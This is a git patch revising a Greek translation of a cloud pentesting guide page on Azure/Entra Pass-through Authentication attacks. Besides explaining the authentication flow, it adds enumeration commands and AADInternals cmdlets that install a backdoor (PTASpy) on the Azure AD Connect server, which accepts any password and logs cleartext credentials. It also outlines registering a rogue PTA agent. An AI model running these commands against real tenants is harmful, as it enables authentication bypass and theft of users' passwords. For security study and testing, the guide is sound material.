From ce1c78eff596d953aa3d7b4d1853caa01c60859d Mon Sep 17 00:00:00 2001 From: Translator Date: Thu, 24 Jul 2025 11:26:25 +0000 Subject: [PATCH] Translated ['src/pentesting-cloud/azure-security/az-lateral-movement-clo --- .../pta-pass-through-authentication.md | 72 +++++++++++++------ 1 file changed, 52 insertions(+), 20 deletions(-) diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/pta-pass-through-authentication.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/pta-pass-through-authentication.md index 74ec6d58b..dcaaf2e3b 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/pta-pass-through-authentication.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/pta-pass-through-authentication.md @@ -4,38 +4,72 @@ ## Basic Information -[From the docs:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-pta) Η Πιστοποίηση Pass-through του Azure Active Directory (Azure AD) επιτρέπει στους χρήστες σας να **συνδέονται τόσο σε τοπικές όσο και σε εφαρμογές που βασίζονται στο cloud χρησιμοποιώντας τους ίδιους κωδικούς πρόσβασης**. Αυτή η δυνατότητα παρέχει στους χρήστες σας μια καλύτερη εμπειρία - ένας λιγότερος κωδικός πρόσβασης για να θυμούνται, και μειώνει τα κόστη του IT helpdesk επειδή οι χρήστες σας είναι λιγότερο πιθανό να ξεχάσουν πώς να συνδεθούν. Όταν οι χρήστες συνδέονται χρησιμοποιώντας το Azure AD, αυτή η δυνατότητα **επικυρώνει τους κωδικούς πρόσβασης των χρηστών απευθείας με το τοπικό Active Directory**. +[From the docs:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-pta) Η δυνατότητα pass-through authentication του Microsoft Entra επιτρέπει στους χρήστες σας να **συνδέονται τόσο σε τοπικές όσο και σε εφαρμογές που βασίζονται στο cloud χρησιμοποιώντας τους ίδιους κωδικούς πρόσβασης**. Αυτή η δυνατότητα προσφέρει στους χρήστες σας μια καλύτερη εμπειρία - ένας λιγότερος κωδικός πρόσβασης για να θυμούνται, και μειώνει το κόστος της υποστήριξης IT, καθώς οι χρήστες σας είναι λιγότερο πιθανό να ξεχάσουν πώς να συνδεθούν. Όταν οι χρήστες συνδέονται χρησιμοποιώντας το Microsoft Entra ID, αυτή η δυνατότητα επικυρώνει τους κωδικούς πρόσβασης των χρηστών απευθείας με το τοπικό Active Directory σας. -Στην PTA οι **ταυτότητες** είναι **συγχρονισμένες** αλλά οι **κωδικοί πρόσβασης** **δεν είναι** όπως στην PHS. +Στην PTA οι **ταυτότητες** είναι **συγχρονισμένες** αλλά οι **κωδικοί πρόσβασης δεν είναι** όπως στην PHS. -Η πιστοποίηση επικυρώνεται στο τοπικό AD και η επικοινωνία με το cloud γίνεται από έναν **πράκτορα πιστοποίησης** που εκτελείται σε έναν **τοπικό διακομιστή** (δεν χρειάζεται να είναι στον τοπικό DC). +Η αυθεντικοποίηση επικυρώνεται στο τοπικό AD και η επικοινωνία με το cloud γίνεται μέσω ενός **authentication agent** που εκτελείται σε έναν **τοπικό διακομιστή** (δεν χρειάζεται να είναι στον τοπικό DC). ### Authentication flow
1. Για να **συνδεθεί** ο χρήστης ανακατευθύνεται στο **Azure AD**, όπου στέλνει το **όνομα χρήστη** και τον **κωδικό πρόσβασης** -2. Οι **διαπιστευτήριες** είναι **κρυπτογραφημένες** και τοποθετούνται σε μια **ουρά** στο Azure AD -3. Ο **τοπικός πράκτορας πιστοποίησης** συλλέγει τις **διαπιστευτήριες** από την ουρά και τις **αποκρυπτογραφεί**. Αυτός ο πράκτορας ονομάζεται **"Πράκτορας πιστοποίησης pass-through"** ή **πράκτορας PTA.** -4. Ο **πράκτορας** **επικυρώνει** τις διαπιστευτήριες με το **τοπικό AD** και στέλνει την **απάντηση** **πίσω** στο Azure AD, το οποίο, αν η απάντηση είναι θετική, **ολοκληρώνει τη σύνδεση** του χρήστη. +2. Οι **διαπιστευτήρια** είναι **κρυπτογραφημένα** και τοποθετούνται σε μια **ουρά** στο Azure AD +3. Ο **τοπικός authentication agent** συλλέγει τα **διαπιστευτήρια** από την ουρά και τα **αποκρυπτογραφεί**. Αυτός ο πράκτορας ονομάζεται **"Pass-through authentication agent"** ή **PTA agent.** +4. Ο **πράκτορας** **επικυρώνει** τα διαπιστευτήρια με το **τοπικό AD** και στέλνει την **απάντηση** **πίσω** στο Azure AD, το οποίο, αν η απάντηση είναι θετική, **ολοκληρώνει τη σύνδεση** του χρήστη. > [!WARNING] -> Εάν ένας επιτιθέμενος **παραβιάσει** την **PTA** μπορεί να **δεί** όλες τις **διαπιστευτήριες** από την ουρά (σε **καθαρό κείμενο**).\ -> Μπορεί επίσης να **επικυρώσει οποιεσδήποτε διαπιστευτήριες** στο AzureAD (παρόμοια επίθεση με το Skeleton key). +> Εάν ένας επιτιθέμενος **παραβιάσει** την **PTA** μπορεί να **δεί** όλα τα **διαπιστευτήρια** από την ουρά (σε **καθαρό κείμενο**).\ +> Μπορεί επίσης να **επικυρώσει οποιαδήποτε διαπιστευτήρια** στο AzureAD (παρόμοια επίθεση με το Skeleton key). -### On-Prem -> cloud +### Enumeration -Εάν έχετε **διαχειριστική** πρόσβαση στον **διακομιστή Azure AD Connect** με τον **πράκτορα PTA** να εκτελείται, μπορείτε να χρησιμοποιήσετε το **AADInternals** module για να **εισάγετε μια πίσω πόρτα** που θα **επικυρώνει ΟΛΟΥΣ τους κωδικούς πρόσβασης** που εισάγονται (έτσι όλοι οι κωδικοί πρόσβασης θα είναι έγκυροι για πιστοποίηση): +From Entra ID: ```bash -Install-AADIntPTASpy +az rest --url 'https://graph.microsoft.com/beta/onPremisesPublishingProfiles/authentication/agentGroups?$expand=agents' +# Example response: +{ +"@odata.context": "https://graph.microsoft.com/beta/$metadata#onPremisesPublishingProfiles('authentication')/agentGroups(agents())", +"value": [ +{ +"agents": [ +{ +"externalIp": "20.121.45.57", +"id": "4a000eb4-9a02-49e4-b67f-f9b101f8f14c", +"machineName": "ConnectSync.hacktricks-con.azure", +"status": "active", +"supportedPublishingTypes": [ +"authentication" +] +} +], +"displayName": "Default group for Pass-through Authentication", +"id": "d372d40f-3f81-4824-8b9e-6028182db58e", +"isDefault": true, +"publishingType": "authentication" +} +] +} +``` +Ελέγξτε αν ο πράκτορας εκτελείται στον τοπικό διακομιστή: +```bash +Get-Service -Name "AzureADConnectAuthenticationAgent" +``` +## Pivoting + +Αν έχετε **admin** πρόσβαση στον **Azure AD Connect server** με τον **PTA** **agent** να τρέχει, μπορείτε να χρησιμοποιήσετε το **AADInternals** module για να **εισάγετε ένα backdoor** που θα **επικυρώνει ΟΛΟΥΣ τους κωδικούς πρόσβασης** που εισάγονται (έτσι όλοι οι κωδικοί πρόσβασης θα είναι έγκυροι για την αυθεντικοποίηση): +```bash +Install-Module AADInternals -RequiredVersion 0.9.3 +Import-Module AADInternals +Install-AADIntPTASpy # Install the backdoor, it'll save all the passwords in a file +Get-AADIntPTASpyLog -DecodePasswords # Read the file or use this to read the passwords in clear-text + +Remove-AADIntPTASpy # Remove the backdoor ``` > [!NOTE] > Αν η **εγκατάσταση αποτύχει**, αυτό πιθανώς οφείλεται σε ελλείποντα [Microsoft Visual C++ 2015 Redistributables](https://download.microsoft.com/download/6/A/A/6AA4EDFF-645B-48C5-81CC-ED5963AEAD48/vc_redist.x64.exe). -Είναι επίσης δυνατό να **δείτε τους κωδικούς πρόσβασης σε καθαρό κείμενο που αποστέλλονται στον πράκτορα PTA** χρησιμοποιώντας το παρακάτω cmdlet στη μηχανή όπου εγκαταστάθηκε η προηγούμενη πίσω πόρτα: -```bash -Get-AADIntPTASpyLog -DecodePasswords -``` Αυτή η πίσω πόρτα θα: - Δημιουργήσει έναν κρυφό φάκελο `C:\PTASpy` @@ -43,16 +77,14 @@ Get-AADIntPTASpyLog -DecodePasswords - Εισάγει το `PTASpy.dll` στη διαδικασία `AzureADConnectAuthenticationAgentService` > [!NOTE] -> Όταν η υπηρεσία AzureADConnectAuthenticationAgent επανεκκινείται, το PTASpy "απελευθερώνεται" και πρέπει να επανεγκατασταθεί. - -### Cloud -> On-Prem +> Όταν η υπηρεσία AzureADConnectAuthenticationAgent επανεκκινείται, το PTASpy “απελευθερώνεται” και πρέπει να επανεγκατασταθεί. > [!CAUTION] -> Αφού αποκτήσουμε **GA privileges** στο cloud, είναι δυνατό να **καταχωρήσουμε έναν νέο PTA agent** ρυθμίζοντάς τον σε μια **μηχανή ελεγχόμενη από επιτιθέμενο**. Μόλις ο agent είναι **ρυθμισμένος**, μπορούμε να **επαναλάβουμε** τα **προηγούμενα** βήματα για **να αυθεντικοποιηθούμε χρησιμοποιώντας οποιονδήποτε κωδικό πρόσβασης** και επίσης, **να αποκτήσουμε τους κωδικούς πρόσβασης σε καθαρό κείμενο.** +> Μετά την απόκτηση **GA privileges** στο cloud, είναι δυνατό να **καταχωρηθεί ένας νέος PTA agent** και μπορεί να **επανεπαναληφθούν** τα **προηγούμενα** βήματα για **αυθεντικοποίηση χρησιμοποιώντας οποιονδήποτε κωδικό πρόσβασης** και επίσης, **να αποκτηθούν οι κωδικοί πρόσβασης σε καθαρό κείμενο.** ### Seamless SSO -Είναι δυνατό να χρησιμοποιήσουμε το Seamless SSO με το PTA, το οποίο είναι ευάλωτο σε άλλες καταχρήσεις. Ελέγξτε το εδώ: +Είναι δυνατό να χρησιμοποιηθεί το Seamless SSO με PTA, το οποίο είναι ευάλωτο σε άλλες καταχρήσεις. Ελέγξτε το στο: {{#ref}} seamless-sso.md